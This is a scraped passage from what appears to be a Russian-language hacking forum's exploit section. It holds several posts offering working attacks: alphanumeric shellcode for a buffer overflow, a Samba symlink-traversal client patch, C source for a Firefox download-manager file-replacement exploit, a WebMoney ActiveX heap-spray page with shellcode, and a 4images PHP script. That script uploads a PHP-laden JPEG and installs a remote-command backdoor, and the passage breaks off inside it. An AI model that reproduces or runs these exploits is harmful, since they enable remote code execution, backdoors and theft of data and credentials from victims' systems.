
scode = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e"
"\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x48"
"\x4e\x36\x46\x32\x46\x32\x4b\x48\x45\x34\x4e\x43\x4b\x58\x4e\x37"
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x51\x4b\x58"
"\x4f\x45\x42\x42\x41\x30\x4b\x4e\x49\x54\x4b\x38\x46\x43\x4b\x58"
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x45\x46\x32\x4a\x42\x45\x37\x45\x4e\x4b\x58"
"\x4f\x35\x46\x42\x41\x30\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x54"
"\x4b\x38\x4f\x45\x4e\x31\x41\x50\x4b\x4e\x43\x30\x4e\x52\x4b\x38"
"\x49\x38\x4e\x46\x46\x32\x4e\x41\x41\x36\x43\x4c\x41\x43\x4b\x4d"
"\x46\x46\x4b\x48\x43\x54\x42\x43\x4b\x48\x42\x54\x4e\x50\x4b\x48"
"\x42\x37\x4e\x31\x4d\x4a\x4b\x38\x42\x34\x4a\x30\x50\x45\x4a\x46"
"\x50\x58\x50\x54\x50\x50\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x46"
"\x43\x35\x48\x36\x4a\x46\x43\x33\x44\x53\x4a\x46\x47\x47\x43\x47"
"\x44\x53\x4f\x35\x46\x45\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e"
"\x4e\x4f\x4b\x33\x42\x45\x4f\x4f\x48\x4d\x4f\x55\x49\x48\x45\x4e"
"\x48\x36\x41\x58\x4d\x4e\x4a\x30\x44\x50\x45\x35\x4c\x56\x44\x30"
"\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x45"
"\x4f\x4f\x48\x4d\x43\x35\x43\x35\x43\x55\x43\x45\x43\x35\x43\x54"
"\x43\x35\x43\x34\x43\x35\x4f\x4f\x42\x4d\x48\x36\x4a\x36\x45\x31"
"\x43\x4b\x48\x56\x43\x35\x49\x38\x41\x4e\x45\x39\x4a\x46\x46\x4a"
"\x4c\x51\x42\x57\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x46\x42\x41"
"\x41\x55\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x52"
"\x49\x4e\x47\x55\x4f\x4f\x48\x4d\x43\x55\x45\x55\x4f\x4f\x42\x4d"
"\x4a\x46\x45\x4e\x49\x44\x48\x58\x49\x44\x47\x55\x4f\x4f\x48\x4d"
"\x42\x45\x46\x35\x46\x45\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x36"
"\x47\x4e\x49\x47\x48\x4c\x49\x57\x47\x35\x4f\x4f\x48\x4d\x45\x55"
"\x4f\x4f\x42\x4d\x48\x46\x4c\x46\x46\x46\x48\x36\x4a\x36\x43\x56"
"\x4d\x36\x49\x48\x45\x4e\x4c\x56\x42\x45\x49\x55\x49\x52\x4e\x4c"
"\x49\x38\x47\x4e\x4c\x36\x46\x44\x49\x38\x44\x4e\x41\x33\x42\x4c"
"\x43\x4f\x4c\x4a\x50\x4f\x44\x44\x4d\x42\x50\x4f\x44\x54\x4e\x32"
"\x43\x49\x4d\x48\x4c\x47\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36"
"\x44\x57\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x37\x46\x54\x4f\x4f"
"\x48\x4d\x4b\x45\x47\x45\x44\x55\x41\x35\x41\x45\x41\x35\x4c\x56"
"\x41\x30\x41\x35\x41\x35\x45\x45\x41\x55\x4f\x4f\x42\x4d\x4a\x46"
"\x4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x46"
"\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x48\x47\x35\x4e\x4f"
"\x43\x38\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x35\x4f\x4f\x42\x4d"
"\x4a\x36\x42\x4f\x4c\x48\x46\x30\x4f\x35\x43\x35\x4f\x4f\x48\x4d"
"\x4f\x4f\x42\x4d\x5a"
)

junk2 = "\x90" * 600

textfile = open(filename , 'w')
textfile.write(junk+eip+nop+scode+junk2)
textfile.close()

Источник:http://inj3ct0r.com/exploits/13648

CVE-2010-0188 Working Exploit
ID: 67686ba3b4103b69df379df8
Thread ID: 19150
Created: 2010-03-12T23:54:22+0000
Last Post: 2010-03-12T23:54:22+0000
Author: villy
Prefix: Local
Replies: 0 Views: 2K

Exploit Code published on my blog:
[http://bugix-security.blogspot.com/2010/03...exploitcve.html](http://bugix- security.blogspot.com/2010/03/adobe-pdf-libtiff-working-exploitcve.html)

modification of exploit created by me, if any question , u are welcome to ask.

Enjoy! :baby: :baby: :baby: :baby: :baby:

PS. f pizdu govnosvjazki i barig ! =) :fuck:

Samba directory traversal 0-day
ID: 67686ba3b4103b69df379df9
Thread ID: 18990
Created: 2010-02-06T14:31:52+0000
Last Post: 2010-02-06T14:31:52+0000
Author: GOONER
Prefix: Remote
Replies: 0 Views: 2K

Samba directory traversal 0-day

В серверной части популярной реализации SMB/CIFS для *nix-систем Samba обнаружена уязвимость, позволяющая удаленному пользователю выйти за пределы каталога ресурса (share) и получить доступ к корневому каталогу системы.

Для успешной эксплуатации данной уязвимости злоумышленнику необходим доступ на запись в какой-либо ресурс на атакуемой системе. Используя специально модифицированный smbclient (см. ниже), он может создать символьную ссылку на каталог, находящийся одним или нескольким уровнями выше (../../.. и т.п.), после чего перейти по этой ссылке. Полученный им доступ будет ограничиваться полномочиями того пользователя, из-под которого осуществляется доступ к ресурсу (например, при анонимном доступе этот пользователь определяется параметром guest account).

Таким образом, на большинстве конфигураций злоумышленник сможет, к примеру, залить свои файлы в /tmp или стянуть /etc/passwd, но у него не получится утащить /etc/shadow.

В качестве workaround рекомендуется запрещать следование по символьным ссылкам (follow symlinks = no), разрешенное по умолчанию.

Ниже представлен патч, превращающий обычный smbclient3 в орудие для атаки:

Code:Copy to clipboard

--- samba-3.4.5/source3/client/client.c 2010-01-18 14:38:09.000000000 +0300 
+++ samba-3.4.5/source3/client/client.c 2010-01-18 14:38:09.000000000 +0300 
@@ -2754,15 +2754,13 @@ 
                return 1; 
        } 
        oldname = talloc_asprintf(ctx, 
-                       "%s%s", 
-                       client_get_cur_dir(), 
+                       "%s", 
                        buf); 
        if (!oldname) { 
                return 1; 
        } 
        newname = talloc_asprintf(ctx, 
-                       "%s%s", 
-                       client_get_cur_dir(), 
+                       "%s", 
                        buf2); 
        if (!newname) { 
                return 1;

Патч подготовлен для клиента из комплекта Samba 3.4.5.

Также доступно видео с подробной демонстрацией атаки.

Mozilla Firefox 3.5.3 Local Download Manager Exploit
ID: 67686ba3b4103b69df379dfa
Thread ID: 18567
Created: 2009-11-02T07:50:32+0000
Last Post: 2010-01-19T09:43:43+0000
Author: DarckSol
Prefix: Local
Replies: 2 Views: 2K

/*
getunique.c
AKA
Mozilla Firefox 3.5.3 Local Download Manager Exploit

Jeremy Brown [0xjbrown41@gmail.com // jbrownsec.blogspot.com // krakowlabs.com] 10.28.2009



When downloading files through Firefox and choosing the "Open with" option, Firefox will create a temporary
file in the form of RANDOM.part ("RANDOM" is random alphanumeric characters and ".part" is the extension).
When the download completes, Firefox saves the completed file in the "/tmp" directory as its original
filename and opens it with the program's handler (for example, Ark for compressed archives, VLC for .mp3,
WINE for .exe, etc).

Now, what if there is already a file with an identical filename in the temporary file directory? Firefox
uses the scheme of saving and opening the completed download as "/tmp/file-#.zip", where "file" is the
file's name, "-#" is a dash and the next available number in order, and ".zip" is of course the file's
extension. So if "/tmp/file.zip" already exists and the user tries to download a file with the same name,
Firefox saves and opens the newly downloaded file as "/tmp/file-1.zip". That scheme looked suspicious to me,
and raised a couple good questions.

  1. What is the maximum number in the filename?
  2. What happens when it reaches that maximum number?

Testing has proved that 9999, for example "/tmp/file-9999.zip", is the maximum number Firefox will use to
deal with identical "Open with" filenames. Instead of using "/tmp/file-10000.zip", Firefox will just use
the original identical file instead of the one it was supposed to download and open. That can get dangerous
when local users can write to "/tmp" just like everybody else smile.gif

To exploit this situation, we need to know the filename that will be downloaded ahead of time. Then it is
just a matter of creating the excess files, placing our "replacement" file (with the identical filename) in
"/tmp", and waiting for the target user to use the "Open with" option to download a file. A file of our
choosing will appear in the download history (as a "ghost pointer", one mozilla guy noted). If the file
doesn't automatically open (as most testing shows), then the average user is going to simply double click on
the pointer in history anyways, opening our replacement file. We wouldn't even nessesarily have to know
"ahead of time". According to how long it would take to complete the download (remember Firefox is writing to
"/tmp/RANDOM.part" until its finished downloading), we could do our business while the file is still
downloading (again, as long as we know its filename).

There are many scenarios where we could leverage this vulnerability... here is one example.

  • Administrator is downloading openssh-5.2.tar.gz
  • We run the exploit to replace openssh-5.2.tar.gz with a modified version
  • Administrator installs our OpenSSH 5.2 with our modifications

The download history will still show the name of the site that supplied the original file and the original
filename even when the target user opened the our replacement file instead.

Conditions that have to be met for exploitation to succeed:

1. The ability to write in the temporary file directory, "/tmp" by default on Linux
(shell, ftp, etc with write permissions could be helpful for making this work remotely)
2. The target user chooses to download the file and chooses the "Open with" preference
3. The target user also has to double click the file in the download manager (in previous testing, if I recall
correctly, the file opened automatically, as normal behavior; but that can no longer be confirmed)

Firefox on Windows has slightly different results. I found during testing that when the download completes,
the right file will be opened. Although unreliable, we were able to get the history of the file in download
manager to show the replacement file and it will be opened if the user chooses to open it from there.
Exploitation on Windows would be limited anyways due to the fact that you don't usually see as much remote
access to do local things on Windows as its fairly common on Linux. On Linux it is also common for the
replacement file to be kept in history when using this exploit, which can be useful for helping play off the
exploit when you don't want the target to think anything much is out of the ordinary smile.gif

mozilla-1.9.1/xpcom/io/nsLocalFileCommon.cpp -> LINES [85-174]:

NS_IMETHODIMP
nsLocalFile::CreateUnique(PRUint32 type, PRUint32 attributes)
{
nsresult rv;
PRBool longName;

#ifdef XP_WIN
nsAutoString pathName, leafName, rootName, suffix;
rv = GetPath(pathName);
#else
nsCAutoString pathName, leafName, rootName, suffix;
rv = GetNativePath(pathName);
#endif
if (NS_FAILED(rv))
return rv;

longName = (pathName.Length() + kMaxSequenceNumberLength >
kMaxFilenameLength);
if (!longName)
{
rv = Create(type, attributes);
if (rv != NS_ERROR_FILE_ALREADY_EXISTS)
return rv;
}

#ifdef XP_WIN
rv = GetLeafName(leafName);
if (NS_FAILED(rv))
return rv;

const PRInt32 lastDot = leafName.RFindChar(PRUnichar('.'));
#else
rv = GetNativeLeafName(leafName);
if (NS_FAILED(rv))
return rv;

const PRInt32 lastDot = leafName.RFindChar('.');
#endif

if (lastDot == kNotFound)
{
rootName = leafName;
}
else
{
suffix = Substring(leafName, lastDot); // include '.'
rootName = Substring(leafName, 0, lastDot); // strip suffix and dot
}

if (longName)
{
PRUint32 maxRootLength = (kMaxFilenameLength -
(pathName.Length() - leafName.Length()) -
suffix.Length() - kMaxSequenceNumberLength);
#ifdef XP_WIN
// ensure that we don't cut the name in mid-UTF16-character
rootName.SetLength(NS_IS_LOW_SURROGATE(rootName[maxRootLength]) ?
maxRootLength - 1 : maxRootLength);
SetLeafName(rootName + suffix);
#else
if (NS_IsNativeUTF8())
// ensure that we don't cut the name in mid-UTF8-character
while (UTF8traits::isInSeq(rootName[maxRootLength]))
--maxRootLength;
rootName.SetLength(maxRootLength);
SetNativeLeafName(rootName + suffix);
#endif
nsresult rv = Create(type, attributes);
if (rv != NS_ERROR_FILE_ALREADY_EXISTS)
return rv;
}

for (int indx = 1; indx < 10000; indx++)
{
// start with "Picture-1.jpg" after "Picture.jpg" exists
#ifdef XP_WIN
SetLeafName(rootName +
NS_ConvertASCIItoUTF16(nsPrintfCString("-%d", indx)) +
suffix);
#else
SetNativeLeafName(rootName + nsPrintfCString("-%d", indx) + suffix);
#endif
rv = Create(type, attributes);
if (NS_SUCCEEDED(rv) || rv != NS_ERROR_FILE_ALREADY_EXISTS)
return rv;
}

// The disk is full, sort of
return NS_ERROR_FILE_TOO_BIG;
}

That codes gives us a good look at how the scheme works.

I tested the "Save As" option and it doesn't seem to be vulnerable (it saved, for example, file(1000000).zip).

Yes, the header is roughly 3 times as many lines as the actual exploit code, but hey, this bug has a lot of
details and ideas but is also very simple to exploit.

linux@ubuntu:~$ ./getunique right zip /home/linux/Desktop/wrong.zip
(target downloads right.zip and opens it the same filename, but with wrong.zip's contents)

Muy Bueno smile.gif

Thunderbird doesn't seems to respond by not responding to the open when running the exploit. This code looks
like its shared across Mozilla's codebase, so other applications like the SeaMonkey suite may be vulnerable
as well. Mozilla also seems handle certain file types like tar.gz and tar.bz2 differently, see the code for
more information.. you may even have to double click the file's entry in download manager if Firefox doesn't
automatically open it. One way or another, though, this vulnerability is decently reliable, on Linux at least.



getunique.c
*/

#ifdef WIN32
#include <stdio.h>
#include <windows.h>
#else
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#endif

#define MAGICN 9999

#define TMPLIN "/tmp"
#define TMPWIN "C:\\Documents and Settings\\Administrator\\Local Settings\\Temp"

void usage(char *app)
{

printf("\nMozilla Firefox 3.5.3 Local Download Manager Exploit");
printf("\nUsage: %s \n\n", app);

exit(0);

}

int main(int argc, char *argv[])
{

char buf[256], *fn = argv[1], *ext = argv[2], *rf = argv[3];
int i;
FILE *fd;

if(argc < 3) usage(argv[0]);

#ifdef WIN32
snprintf(buf, sizeof(buf), "%s\%s.%s", TMPWIN, fn, ext);
CopyFile(rf, buf, FALSE);
#else
snprintf(buf, sizeof(buf), "/bin/cp %s %s/%s.%s", rf, TMPLIN, fn, ext);
system(buf);
#endif

for(i = 1; i <= MAGICN; i++)
{

memset(buf, 0, sizeof(buf));
#ifdef WIN32
snprintf(buf, sizeof(buf), "%s\%s-%d.%s", TMPWIN, fn, i, ext);
#else
snprintf(buf, sizeof(buf), "%s/%s-%d.%s", TMPLIN, fn, i, ext); // default
// snprintf(buf, sizeof(buf), "%s/%s.tar-%d.gz", TMPLIN, fn, i); // for tar.gz files
// snprintf(buf, sizeof(buf), "%s/%s.tar-%d.bz2", TMPLIN, fn, i); // for tar.bz2 files
// snprintf(buf, sizeof(buf), "%s/%s(%d).%s", TMPLIN, fn, i, ext); // for testing "Save As"
#endif
fd = fopen(buf, "w");
fclose(fd);

}

return 0;

}

ps: на работоспособность не проверял.

0day WebMoney activex local bof POC
ID: 67686ba3b4103b69df379dfb
Thread ID: 18761
Created: 2009-12-28T07:26:38+0000
Last Post: 2009-12-30T04:42:57+0000
Author: Exmanoize
Prefix: Remote
Replies: 2 Views: 2K

Vulnerability by: steklo
Exploit by: ExmaNoize
Local Buffer Overflow Exploit
WebMoney Keeper Classic <=3.8.0.0
worked on ie6-7(maybe 8), xp-vista

Code:Copy to clipboard

<html>
<body>
<object classid='clsid:EFE96CF6-36B8-11D2-81AA-00AA006276EF' id='obj'></object>
<script>

  shellcode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +  
                       "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +  
                       "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +  
                       "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +  
                       "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +  
                       "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +  
                       "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +  
                       "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +  
                       "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +  
                       "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +  
                       "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +  
                       "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +  
                       "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +  
                       "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +  
                       "%u652E%u6578%u9000");
     nops=unescape('%u9090%u9090');
     headersize =20;
     slackspace= headersize + shellcode.length;
    while( nops.length< slackspace) nops+= nops;
     fillblock= nops.substring(0, slackspace);
     block= nops.substring(0, nops.length- slackspace);
    while( block.length+ slackspace<100000) block= block+ block+ fillblock;
     memory=new Array();
    for( counter=0; counter<500; counter++) memory[ counter]= block+ shellcode;
     buffer='A';
    for( counter=0; counter<=500; counter++) buffer+=unescape('%0a%0a%0a%0a');
    
obj.ShowBrowserWindow(buffer, 1);
</script>
</body>
</html>
uTorrent 1.8.3
ID: 67686ba3b4103b69df379dfc
Thread ID: 17949
Created: 2009-07-13T08:37:16+0000
Last Post: 2009-09-15T13:20:54+0000
Author: DarckSol
Prefix: DoS
Replies: 5 Views: 2K

Не знаю насколько это новость, но всё же...
Мною была нарыта уязвимость, опишу малость:
И так, пользователь может скомпрометировать целостную систему и вызвать отказы в обслуживании, уязвимость существует из-за не корректной обработки недокаченных файлов....
Короч, если вдруг система повисла, заело её, или по каким то ещё причинам резко обрубили торент, то при запуске его снова он проверяет недокаченные файлы, загружает систему на глушняк и вылезает синий экран смерти))) тестил на себе, WinXP SP3, 4Gb оперативы, камень 6000+. Так что загрузить систему не так просто.

Отказ в обслуживании в Kaspersky Anti-Virus
ID: 67686ba3b4103b69df379dfd
Thread ID: 18301
Created: 2009-09-13T14:47:09+0000
Last Post: 2009-09-14T12:18:28+0000
Author: Serginho_PiT
Prefix: DoS
Replies: 1 Views: 2K

Программа:
Kaspersky Anti-Virus 9.x
Kaspersky Internet Security 9.x

Уязвимость позволяет удаленному злоумышленнику выполнить DoS атаку на целевую систему. Уязвимость существует из-за ошибки в проверке входных данных при обработке HTTP запросов, когда в URL содержится большое количество символов ".". Атакующий может передать специально сформированные данные, что приведет к отказу системы в обслуживании.

Spoiler: 25

Эксплоит:

http://securityreason.com/achievement_securityalert/66

4images 1.7.1 - php include
ID: 67686ba3b4103b69df379e03
Thread ID: 7228
Created: 2006-03-02T07:26:11+0000
Last Post: 2008-12-22T13:11:31+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 1 Views: 2K

Инклюдинг локальных файлов в 4images
Программа: 4images 1.7.1, возможно более ранние версии.
Описание:
Уязвимость позволяет удаленному пользователю получить доступ к важным данным на системе.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "template" сценария "index.php". Удаленный пользователь может с помощью специально сформированного URL, содержащего символы обхода каталога просмотреть произвольные .html файлы на системе.
:zns2: производитель
Решение: Способов устранения уязвимости не существует в настоящее время.
Эксплоит:

Code:Copy to clipboard

<?php
# ----4images_171_incl_xpl.php 6.45 26/02/2006 #
# #
# 4Images <= 1.7.1 remote commands execution through arbitrary local #
# inclusion #
# coded by rgod #
# site: http://retrogod.altervista.org #
# #
# -> this works regardless of magic_quotes_gpc settings #
# #
# Sun-Tzu: "Having doomed spies, doing certain things openly for purposes of #
# deception, and allowing our spies to know of them and report them to the #
# enemy." #

/* short explaination:
directory traversal in "template" argument, ex:

http://[target]/[path]/index.php?template=../../../../../../../etc/passwd%00

this exploit uploads a .jpg file with maliciuos EXIF metadata comptempt,
it will be evaluated as php code:

http://[target]/[path]/index.php?template=../../data/tmp_media/suntzu1293.jpg%00
or
http://[target]/[path]/index.php?template=../../data/media/1/suntzu1293.jpg%00

also, it installs a backdoor on target server, called "config.dist.php",
then...

http://[target]/[path]/config.dist.php?cmd=cat%20config.php
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
ob_implicit_flush (1);

echo'<html><head><title>****** 4Images <= 1.7.1 remote commands execution ******
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
****** 4Images <= 1.7.1 remote commands execution ****** </p><p class="Stile6">a
script by rgod at <a href="http://retrogod.altervista.org"target="_blank">
http://retrogod.altervista.org</a></p><table width="84%"><tr><td width="43%">
<form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'"> <p><in put
type="text" name="host"> <span class="Stile5">* target (ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
/4images/ or just / ) </span></p><p><input type="text" name="cmd"> <span
class="Stile5"> * specify a command ("cat config.php" to see database username &
password...)</span></p><p><input type="text" name="USER"><span class="Stile5 ">
a valid USER ...</span></p><p><input type="password" name="PASS"> <span
class="Stile5"> ... and PASSWORD, required for STEP 2 and following... </span>
</p> <p> <input type="text" name="port"><span class="Stile5">specify a port
other than 80 (default value) </span></p><p><input type="text" name="proxy">
<span class="Stile5">send exploit through an HTTP proxy (ip:port)</span></p><p>
<input type="submit" name="Submit" value="go!"> </p> </form> </td> </tr&g t;</table>
</body></html>';


function show($headeri)
{
$ii=0;$ji=0;$ki=0;$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1){
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td>  </td>";
for ($li=0; $li<=15; $li++) {
echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {
echo "<td>0".htmlentities($datai)."</td>";
}
else {
echo "<td>".htmlentities($datai)."</td> ";
}
$ii++;$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
echo "<td>&nbsp&nbsp</td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++) {
echo "<td>".htmlentities($headeri[$li])."</td>";
}
echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //2x speed
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "
";
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid proxy...';
die;
}
echo "OK.
";
echo "Attempting to connect to ".$host." on port ".$port."...
";
if ($proxy=='') {
$result = socket_connect($socket, $host, $port);
}
else {
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "
& lt;br>";
}
else {
echo "OK.

";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:
";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}

function refresh()
{
flush();
ob_flush();
usleep(5000000000);
}

function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.htmlentities($host); die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid prozy...';die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);echo nl2br(htmlentities($html));
}

function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}

$host=$_POST[host];$port=$_POST[port];$path=$_POST[path];
$USER=$_POST[USER];$PASS=$_POST[PASS];$cmd=$_POST[cmd];$proxy=$_POST[proxy];

echo "<span class=\"Stile5\">";

if (($host<>'') and ($path<>'') and ($cmd<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

# STEP 1 -> check if backdoor already installed...
$packet ="GET ".$p."config.dist.php?cmd=".urlencode($cmd)." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master!",$html)) {die("backdoor already installed...exploit succeeded...</span>");}

}
echo "backdoor not installed... -> STEP 2...
";
if (($host<>'') and ($path<>'') and ($cmd<>'') and ($USER<>'') and ($PAS S<>''))
{

# STEP 2 -> Login...
$data="user_name=".$USER."&user_password=".$PASS."&auto_login=1";
$packet ="POST ".$p."login.php HTTP/1.1\r\n";
$packet.="User-Agent: sun-tzu\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Referer: http://".$host.$path."index.php?lang=en\r\n";
$packet.="Connection: Close\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
if (!eregi("Location:",$html)) {die("Failed to login...");}
$temp=explode("Set-Cookie: ",$html);
$COOKIE='';
for ($i=1; $i<=6; $i++)
{
$temp2=explode(" ",$temp[$i]);
$COOKIE.=" ".$temp2[0];
}
echo "COOKIE -> ".htmlentities($COOKIE)."\r\n";

# STEP 3 -> Retrieve a category to put jpeg in
$packet ="GET ".$p."index.php HTTP/1.1\r\n";
$packet.="User-Agent: sun-tzu\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Referer: http://".$host.$path."index.php?lang=en\r\n";
$packet.="Cookie:".$COOKIE."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
$temp=explode("cat_id=",$html);
$temp2=explode("&",$temp[1]);
$CATID=$temp2[0];
echo "CATID -> ".htmlentities($CATID)."\r\n";
if (($CATID=='') | (strlen($CATID) > 3))
{die("Failed to retrieve a valid category to upload image in...");}

# STEP 4 -> Upload evil jpg file...
$shell=
chr(0xff).chr(0xd8).chr(0xff).chr(0xfe).chr(0x01).chr(0x3f).chr(0x3c).chr(0x3f).
chr(0x70).chr(0x68).chr(0x70).chr(0x0d).chr(0x0a).chr(0x6f).chr(0x62).chr(0x5f).
chr(0x63).chr(0x6c).chr(0x65).chr(0x61).chr(0x6e).chr(0x28).chr(0x29).chr(0x3b).
chr(0x0d).chr(0x0a).chr(0x65).chr(0x63).chr(0x68).chr(0x6f).chr(0x22).chr(0x48).
chr(0x69).chr(0x20).chr(0x4d).chr(0x61).chr(0x73).chr(0x74).chr(0x65).chr(0x72).
chr(0x21).chr(0x22).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x69).chr(0x6e).chr(0x69).
chr(0x5f).chr(0x73).chr(0x65).chr(0x74).chr(0x28).chr(0x22).chr(0x6d).chr(0x61).
chr(0x78).chr(0x5f).chr(0x65).chr(0x78).chr(0x65).chr(0x63).chr(0x75).chr(0x74).
chr(0x69).chr(0x6f).chr(0x6e).chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).
chr(0x22).chr(0x2c).chr(0x30).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x70).
